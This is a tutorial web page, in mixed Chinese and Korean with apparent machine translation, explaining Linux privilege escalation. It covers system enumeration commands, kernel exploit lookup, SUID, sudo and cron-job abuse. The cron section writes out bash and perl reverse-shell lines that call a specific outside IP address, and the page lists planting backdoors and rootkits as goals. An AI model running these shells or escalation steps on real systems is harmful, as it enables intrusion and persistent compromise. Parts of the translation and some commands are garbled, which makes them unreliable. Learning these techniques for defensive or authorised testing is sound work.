>운영 및 유지보수 >리눅스 운영 및 유지 관리 >리눅스 권한 상승은 무엇을 의미합니까?

리눅스 권한 상승은 무엇을 의미합니까?

青灯夜游
青灯夜游원래의
2023-03-15 10:46:192572검색

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限;Linux提权一般是指获取root用户权限的操作过程。Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况;提权是否成功的关键是信息收集是否完整。

리눅스 권한 상승은 무엇을 의미합니까?

本教程操作环境:linux7.3系统、Dell G3电脑。

linux提权概念介绍

提权是什么

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限。

详细来说,就是指利用操作系统或应用软件中的程序漏洞、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。

Linux提权一般是指获取root用户权限的操作过程。

Linux提权目的

提权操作有风险为什么还要进行提权?什么情况下需要进行提权?获取高权限之后可以做什么?

通过命令执行漏洞获取的一个反弹shell或是通过Web漏洞获取了一个Webshell后,一般情况下权限都较低。在执行一些重要敏感的操作或是对重要的文件进行修改时无法正常进行,便需要进行提权。Linux中安装的数据库、中间件等一般都不是以root用户启动的,通过数据库或是中间件获取到的权限是是低权限的。

获取一个root权限是每一个黑客的梦想。

  • 读取写入服务器中的重要文件:
    • 修改root密码
    • 替换系统命令
  • 在系统中放置更为隐蔽的后门:
    • ping后门
    • Rootkit
  • 保证服务器重启之后权限仍在:
    • 内存后门

Linux提权本质

Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况。

Linux信息收集

任何提权的第一步操作一定是对操作系统进行信息收集。提权是否成功的关键是信息收集是否完整。

  • 内核设备信息:

    • uname -a    打印所有可用的系统信息
    • uname -r    内核版本
    • uname -n    系统主机名。
    • uname -m    查看系统内核架构(64位/32位)
    • hostname    系统主机名
    • cat /proc/version    内核信息
    • cat /etc/*-release   分发信息
    • cat /etc/issue       分发信息
    • cat /proc/cpuinfo    CPU信息
  • 用户和群组信息:

    • cat /etc/passwd     列出系统上的所有用户
    • cat /etc/group      列出系统上的所有组
    • grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'  列出所有的超级用户账户
    • whoami              查看当前用户
    • w                   谁目前已登录,他们正在做什么
    • last                最后登录用户的列表
    • lastlog             所有用户上次登录的信息
    • lastlog -u %username%  有关指定用户上次登录的信息
    • lastlog |grep -v "Never"  以前登录用户的信息
  • 用户和权限信息:

    • whoami        当前用户名
    • id            当前用户信息
    • cat /etc/sudoers  谁被允许以root身份执行
    • sudo -l       当前用户可以以root身份执行操作
  • 环境系统变量信息:

    • env        显示环境变量
    • set        现实环境变量
    • echo %PATH 路径信息
    • history    显示当前用户的历史命令记录
    • pwd        输出工作目录
    • cat /etc/profile   显示默认系统变量
    • cat /etc/shells    显示可用的shell

内核漏洞提权

内核漏洞提权指的是普通用户访问操作系统内核,利用内核漏洞将权限提高为root权限,一般首先需要知晓操作系统的内核,内核的版本等信息,再寻找内核漏洞的EXP进行提权

linux常用查看系统信息命令

uname -a 查看系统全部信息
uname -r 查看内核版本
cat /proc/version 查看内核信息
cat /etc/*-realease 查看CentOS版本
cat /etc/issue 查看Ubuntu版本
cat /etc/redhat-release 查看RedHat版本
env 查看环境变量
echo $PATH 查看当前环境变量
awk -F: '($3==0){print $1}' /etc/passwd 查找UID为0的用户
find / -user root -perm -4000 -exec ls -ldb {} \;  查找设置了SUID的文件

例子:

1)查看系统的内核版本

리눅스 권한 상승은 무엇을 의미합니까?

2) kali의 searchsploit을 사용하여 해당 커널 취약점을 찾거나 온라인에서 해당 커널 취약점을 검색합니다

리눅스 권한 상승은 무엇을 의미합니까?

3) gcc를 사용하여 C 언어 프로그램을 실행 파일로 컴파일하고 대상 컴퓨터에 업로드합니다. 루트 권한에 대한 권한

Linux의 기타 권한 상승 방법

1. 예약된 작업 권한 상승

사용 원칙:

  • /bin/sh가 /bin/dash를 가리키는 경우(우분투에서는 이를 기본값으로 합니다. 현재 대상 머신도 마찬가지입니다. bash를 사용하여 쉘을 리바인드하는 경우 다음과 같이 재생해야 합니다: * * * * * root bash -c "bash -i >&/dev/tcp/106.13 .124.93/2333 0>&1"
    쉘을 이렇게 플레이하면 작동하지 않습니다. 왜 느린지 알고 잠시 기다려 주세요
  • */1 * * * * root perl -e 'use Socket;(i ="106.13.124.93";)p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname ("tcp"));if(connect(S,sockaddr_in((p,inet_aton()i)))) {open(STDIN,">&S");open(STDOUT,">&S") ;open(STDERR,">&S");exec("/bin/sh -i");};'

2. SUID를 사용하여 권한 상승

  • SUID 개념: SUID(사용자 ID 설정)는 파일 소유자 권한의 실행 비트에 표시됩니다. 권한이 실행되면 호출자는 일시적으로 파일 소유자의 권한을 얻습니다. SUID를 사용하면 호출자가 파일 소유자로 파일을 실행할 수 있으므로 SUID를 사용하여 권한을 높이는 방법은 루트 사용자가 소유한 SUID로 파일을 실행하는 것입니다. 루트 사용자의 신원입니다. 그렇다면 Linux 바이너리에 이 권한을 설정해야 하는 이유는 무엇입니까? 실제로 여러 가지 이유가 있습니다. 예를 들어, 프로그램 ping이 네트워크 소켓을 열려면 루트 권한이 필요하지만, 프로그램을 실행하는 사용자는 일반적으로 다른 호스트와의 연결을 확인하기 위한 일반 사용자입니다.

  • SUID 권한 에스컬레이션: Suid 권한 에스컬레이션이란 무엇인가요? 파일에는 s 플래그가 있고 루트에 들어가면 이 프로그램을 실행하여 루트 권한을 가질 수 있으며 프로그램은 명령을 실행할 수 있어야 하며 일반 사용자에서 루트 권한으로 업그레이드할 수 있습니다.

  • 로컬에서 일치하는 파일을 찾으세요.

    • find / -user root -perm -4000 -print 2>/dev/null
    • find / -perm -u=s -type f 2>/dev/null
    • find / -user root -perm -4000 -exec ls -ldb {} ;
  • 권한을 상승시킬 수 있는 일반적인 프로그램

    • nmap vim find Bash 더 적게 Nano cp netcat

3 SUDO를 사용하여 권한을 상승시키세요

Linux 시스템 sudo를 사용하면 루트만 실행할 수 있는 명령을 실행할 수 있습니다. 구성 파일은 /etc/sudoers에 저장됩니다. sudo -l은 현재 사용자가 sudo를 지원하는 명령을 나열할 수 있습니다.

코드 수준에서 취약점을 분석해 보세요.

4. 환경 변수 권한 에스컬레이션

  • 현재 환경 변수 보기:

    • echo $PATH

5. 루트 권한으로 실행되는 서비스

  • 타사 소프트웨어도 권한 상승을 수행할 수 있습니다.

관련 추천: "Linux 비디오 튜토리얼"

위 내용은 리눅스 권한 상승은 무엇을 의미합니까?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.